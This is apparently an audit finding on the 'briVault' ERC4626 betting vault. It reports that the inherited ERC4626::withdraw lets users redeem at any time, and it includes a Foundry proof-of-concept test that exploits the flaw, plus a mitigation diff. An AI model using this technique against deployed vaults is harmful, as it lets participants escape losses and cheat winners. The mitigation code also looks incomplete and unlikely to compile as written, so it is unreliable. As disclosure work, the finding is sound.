Using ERC4626 allows the user to directly call ERC4626::withdraw to withdraw the underlying asset at anytime of the game
Description
Normally, the user should only be able to withdraw their asset using briVault::cancelParticipation and briVault::withdraw. The inherited ERC4626::withdraw allows the user to directly burn their token to redeem the underlying asset at anytime because briVault::withdraw does not override ERC4626::withdraw.
function withdraw() external winnerSet {
if (block.timestamp < eventEndDate) {
revert eventNotEnded();
}
if (
keccak256(abi.encodePacked(userToCountry[msg.sender])) !=
keccak256(abi.encodePacked(winner))
) {
revert didNotWin();
}
uint256 shares = balanceOf(msg.sender);
uint256 vaultAsset = finalizedVaultAsset;
uint256 assetToWithdraw = Math.mulDiv(
shares,
vaultAsset,
totalWinnerShares
);
_burn(msg.sender, shares);
IERC20(asset()).safeTransfer(msg.sender, assetToWithdraw);
emit Withdraw(msg.sender, assetToWithdraw);
}
function withdraw(uint256 assets, address receiver, address owner) public virtual returns (uint256) {
uint256 maxAssets = maxWithdraw(owner);
if (assets > maxAssets) {
revert ERC4626ExceededMaxWithdraw(owner, assets, maxAssets);
}
uint256 shares = previewWithdraw(assets);
@> _withdraw(_msgSender(), receiver, owner, assets, shares);
return shares;
}
Risk
Likelihood: High
Impact: High
-
Impact 1: Everyone simply withdraw when they bet on the wrong team. The winners will not get anything and will lose the fee portion of their deposit.
-
Impact 2: Withdrawing after joining does not deduct the withdraw amount from briVault::totalWinnerShares, diluting the shares of the winner.
-
Impact 3: Withdrawing after game ends will not deduct the amount from the briVault::finalizeVaultAsset. This could cause insufficient asset balance when withdrawing.
Proof of Concept
This proof of code function shows that an user could withdraw before, during and after the game and can be run in the provided briVault.t.sol
function testJoinAndWithdraw() public {
vm.startPrank(owner);
briVault.setCountry(countries);
vm.stopPrank();
uint256 balanceBeforeUser1 = mockToken.balanceOf(user1);
vm.startPrank(user1);
mockToken.approve(address(briVault), 5 ether);
briVault.deposit(5 ether, user1);
briVault.joinEvent(10);
vm.stopPrank();
uint256 balanceBeforeUser2 = mockToken.balanceOf(user2);
vm.startPrank(user2);
mockToken.approve(address(briVault), 5 ether);
briVault.deposit(5 ether, user2);
briVault.joinEvent(10);
vm.stopPrank();
uint256 balanceBeforeUser3 = mockToken.balanceOf(user3);
vm.startPrank(user3);
mockToken.approve(address(briVault), 5 ether);
briVault.deposit(5 ether, user3);
briVault.joinEvent(30);
vm.stopPrank();
uint256 fee = (5 ether * participationFeeBsp) / 10000;
vm.prank(user1);
briVault.withdraw(5 ether - fee, user1, user1);
assertEq(mockToken.balanceOf(user1), balanceBeforeUser1 - fee);
vm.warp(eventStartDate + 4 days);
vm.roll(block.number + 1);
vm.prank(user2);
briVault.withdraw(5 ether - fee, user2, user2);
vm.stopPrank();
assertEq(mockToken.balanceOf(user2), balanceBeforeUser2 - fee);
vm.warp(eventEndDate + 1);
vm.startPrank(owner);
briVault.setWinner(10);
console.log(briVault.finalizedVaultAsset());
vm.stopPrank();
vm.prank(user3);
briVault.withdraw(5 ether - fee, user3, user3);
assertEq(mockToken.balanceOf(user3), balanceBeforeUser3 - fee);
}
Recommended Mitigation
Consider overriding withdraw(uint256 assets, address receiver, address owner) in briVault.sol and redirect calls to the withdraw() function. This only fixes the issue of the user being able to call the inherited ERC4626::withdraw and does not solve the issues with totalWinnerShares not updating after removing shares from the contract.
// In briVault.sol
+ function withdraw(uint256 assets, address receiver, address owner) public override returns (uint256){
+ withdraw(receiver);
+ }
-function withdraw() external winnerSet {
+function withdraw(address receiver) external winnerSet{
if (block.timestamp < eventEndDate) {
revert eventNotEnded();
}
//@audit if the user has not joined the event and the winner has not been set, the user will directly win
if (
keccak256(abi.encodePacked(userToCountry[msg.sender])) !=
keccak256(abi.encodePacked(winner))
) {
revert didNotWin();
}
uint256 shares = balanceOf(msg.sender);
uint256 vaultAsset = finalizedVaultAsset;
uint256 assetToWithdraw = Math.mulDiv(
shares,
vaultAsset,
totalWinnerShares
);
_burn(msg.sender, shares);
- IERC20(asset()).safeTransfer(msg.sender, assetToWithdraw);
+ IERC20(asset()).safeTransfer(receiver, assetToWithdraw);
emit Withdraw(msg.sender, assetToWithdraw);
}
